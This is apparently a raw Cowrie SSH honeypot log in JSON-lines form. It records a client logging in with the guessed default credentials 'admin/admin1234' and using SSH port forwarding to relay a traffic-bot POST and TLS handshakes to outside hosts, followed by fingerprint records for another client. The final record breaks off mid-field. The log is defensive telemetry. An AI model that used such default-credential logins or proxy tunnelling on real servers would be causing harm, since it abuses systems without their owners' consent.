{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:23.856909Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.032121Z","src_ip":"91.92.40.36","session":"c5ee8b87508f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.430364Z","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.590463Z","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.673556Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/84.0.522.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RSFvL1ROZHcxeDMxIUhoTA%3D%3DZuoiynE5I1yPnVk3lIitF4tx%2FHyFpzHTPpsAGNOgqqMvRYNapchLge0ImMCm%2BrtLxu70hapyBMXkbnrG8mOLnNyx7Iqpn3nmvsQfOxS4z7b8sMW1Q%2FyICu2y%2BHzS57nY7wqyxKvSMkPxceRfe%2B2o8UHOIyioXiKPmr%2B4vvayUfvN5dnLNoLna36cXVxxdAINLVkS3RkVB3NpkJ0T2zLxns9QqCHWt8d%2BArXug1zsh2c28QXfFNE9o9ycMsWI0eJPeNW3cUPIdn31j%2FteL4tohSgRHVQ86U8nDPhFSYMEKD505LXQvDeLThXMo2Vn%2FDOasjn4tB82ywkjzNpnOryei9IHku%2FpDSUjUx15A3xzJs1N550HP5TRGJgThiu732OR1W4aHJIK4NSMS2ndO2BofoQPe60CDNhFRpAg4Qn6kn%2FcKdcQprKcmOrizJzk02kfc4nZVDeUaDwXUmhHwZV7DKNDSoCjWA51WIKLvRIGzy3yGkxsXice86Snfa6%2FRtpQln3jkrJsnKJhNrAk0HFoc4yxzpbVBcxu1VKZW4mndMIkKOaYwF6CeS%2BHYcBBCb4FK5Y9nB7DgrCA4StmQvNvqI3LfLL7Ca5vBkf3iolP4zwRHDSu4JHlSzZUL9T9eqykJcPDg0J45Sawf4Su2NpvpK1OoRB6x3RgylhSBP1xbbAOXqlj3%2BoptZLQF2BpnSyxbcEzyqB7TZCvd2EI4xALIWBLuWRjVqe2D%2B4zN5%2BNxoE%2Bm31TRSnuw0xG%2BEywZx4YegcbjZ%2BHQn9qWnpmCV5L4KAfevo%2FSnKCTv3bQhD1VXZ%2FHmCzH4pSXVW8kcl0gjFpygntdlLiI%2FVfI1SshwO4KJUFRypTI9yZsUx8wsPO4lE2xq8RMwtD09QPUxBGWqT8UsGHh%2F2pAdIsTSzitsN31DJow5KU3UqJZVJ2fcy1NE%2B%2FOOszIrIbWbA9fhHYr5Jhp3HuHqfdDWMYLXZJdXgGIqHJ4QUF%2FfjfRcIH0k6ugnIzKB%2F376pxcmxVgJuQ0g66V9v9C5I2B5HJdgIGp95gu5vQfSI5wuphzR3PaqE%2BCoY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36 Edg/84.0.522.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RSFvL1ROZHcxeDMxIUhoTA%3D%3DZuoiynE5I1yPnVk3lIitF4tx%2FHyFpzHTPpsAGNOgqqMvRYNapchLge0ImMCm%2BrtLxu70hapyBMXkbnrG8mOLnNyx7Iqpn3nmvsQfOxS4z7b8sMW1Q%2FyICu2y%2BHzS57nY7wqyxKvSMkPxceRfe%2B2o8UHOIyioXiKPmr%2B4vvayUfvN5dnLNoLna36cXVxxdAINLVkS3RkVB3NpkJ0T2zLxns9QqCHWt8d%2BArXug1zsh2c28QXfFNE9o9ycMsWI0eJPeNW3cUPIdn31j%2FteL4tohSgRHVQ86U8nDPhFSYMEKD505LXQvDeLThXMo2Vn%2FDOasjn4tB82ywkjzNpnOryei9IHku%2FpDSUjUx15A3xzJs1N550HP5TRGJgThiu732OR1W4aHJIK4NSMS2ndO2BofoQPe60CDNhFRpAg4Qn6kn%2FcKdcQprKcmOrizJzk02kfc4nZVDeUaDwXUmhHwZV7DKNDSoCjWA51WIKLvRIGzy3yGkxsXice86Snfa6%2FRtpQln3jkrJsnKJhNrAk0HFoc4yxzpbVBcxu1VKZW4mndMIkKOaYwF6CeS%2BHYcBBCb4FK5Y9nB7DgrCA4StmQvNvqI3LfLL7Ca5vBkf3iolP4zwRHDSu4JHlSzZUL9T9eqykJcPDg0J45Sawf4Su2NpvpK1OoRB6x3RgylhSBP1xbbAOXqlj3%2BoptZLQF2BpnSyxbcEzyqB7TZCvd2EI4xALIWBLuWRjVqe2D%2B4zN5%2BNxoE%2Bm31TRSnuw0xG%2BEywZx4YegcbjZ%2BHQn9qWnpmCV5L4KAfevo%2FSnKCTv3bQhD1VXZ%2FHmCzH4pSXVW8kcl0gjFpygntdlLiI%2FVfI1SshwO4KJUFRypTI9yZsUx8wsPO4lE2xq8RMwtD09QPUxBGWqT8UsGHh%2F2pAdIsTSzitsN31DJow5KU3UqJZVJ2fcy1NE%2B%2FOOszIrIbWbA9fhHYr5Jhp3HuHqfdDWMYLXZJdXgGIqHJ4QUF%2FfjfRcIH0k6ugnIzKB%2F376pxcmxVgJuQ0g66V9v9C5I2B5HJdgIGp95gu5vQfSI5wuphzR3PaqE%2BCoY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.676827Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.911691Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x0f\\x9f\\xc0\\x1aq+\\xf5\\x8d7z\\x81\\xa3\\xbc+\\xda\\x86\\x16EN\\x17\\xb4T\\x9d\\xe7\\xd3/mP\\xcf\\x93\\xa6 \\xb2T,[\\xde\\xb2\\x8cr\\xea\\xd5\\xc5\\x1e\\x0f\\x1d2\\xe1\\xcd\\t\\x13\\x02\\x0c\\xed\\xea9\\x81\\xf4\\xff\\xd1\\xf0!1\\x15\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\"\\x90\\x0b\\x8f\\xe9\\xfbI\\xef\\x84Q\\x80s\\xff\\xbb<.7\\x7f\\xb6\\x97\\'\\xfd\\xc8\\x17\\r\\x8e/\\xad\\xe3\\x00<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\x0f\\x9f\\xc0\\x1aq+\\xf5\\x8d7z\\x81\\xa3\\xbc+\\xda\\x86\\x16EN\\x17\\xb4T\\x9d\\xe7\\xd3/mP\\xcf\\x93\\xa6 \\xb2T,[\\xde\\xb2\\x8cr\\xea\\xd5\\xc5\\x1e\\x0f\\x1d2\\xe1\\xcd\\t\\x13\\x02\\x0c\\xed\\xea9\\x81\\xf4\\xff\\xd1\\xf0!1\\x15\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd5\"\\x90\\x0b\\x8f\\xe9\\xfbI\\xef\\x84Q\\x80s\\xff\\xbb<.7\\x7f\\xb6\\x97\\'\\xfd\\xc8\\x17\\r\\x8e/\\xad\\xe3\\x00<\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:24.915368Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:25.391191Z","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:25.635354Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|2\\x8f\\xbe\\xecN12>\\x1b\\xf8;\\xf3\\xefn\\x97\\xc4\\xa3>\\x97\\x16\\x12P\\x86_\\x98p\\xab\\xb9\\xcd\\x8f\\xa1 >\\xfb\\xccV\\xea\\xcci=tQ\\x85`n\\x18\\xc9\\xf80$\\xae\\x82\\xee\\xca\\x01\\n\\x7f\\x82W\\xd7A{\\x0e)\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 8\\x16\\xfbJh\\xdb`\\x84\\xc8\\x15TX\\x12\\xda\\xa4\\xc9\\xbe\\xdc\\xf4\\x96\\xfbBp\\xef+9t\\x06\\xfc\\xb2Z>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03|2\\x8f\\xbe\\xecN12>\\x1b\\xf8;\\xf3\\xefn\\x97\\xc4\\xa3>\\x97\\x16\\x12P\\x86_\\x98p\\xab\\xb9\\xcd\\x8f\\xa1 >\\xfb\\xccV\\xea\\xcci=tQ\\x85`n\\x18\\xc9\\xf80$\\xae\\x82\\xee\\xca\\x01\\n\\x7f\\x82W\\xd7A{\\x0e)\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 8\\x16\\xfbJh\\xdb`\\x84\\xc8\\x15TX\\x12\\xda\\xa4\\xc9\\xbe\\xdc\\xf4\\x96\\xfbBp\\xef+9t\\x06\\xfc\\xb2Z>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:25.638585Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:26.036049Z","src_ip":"91.92.40.36","session":"23b2eb31802b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:26.041511Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:27.206073Z","src_ip":"91.92.40.36","session":"c5ee8b87508f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35642,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc1572babdc","protocol":"ssh","message":"New connection: 91.92.40.36:35642 (159.203.135.109:22) [session: 9fc1572babdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:29.212525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:29.720817Z","src_ip":"91.92.40.36","session":"9fc1572babdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-c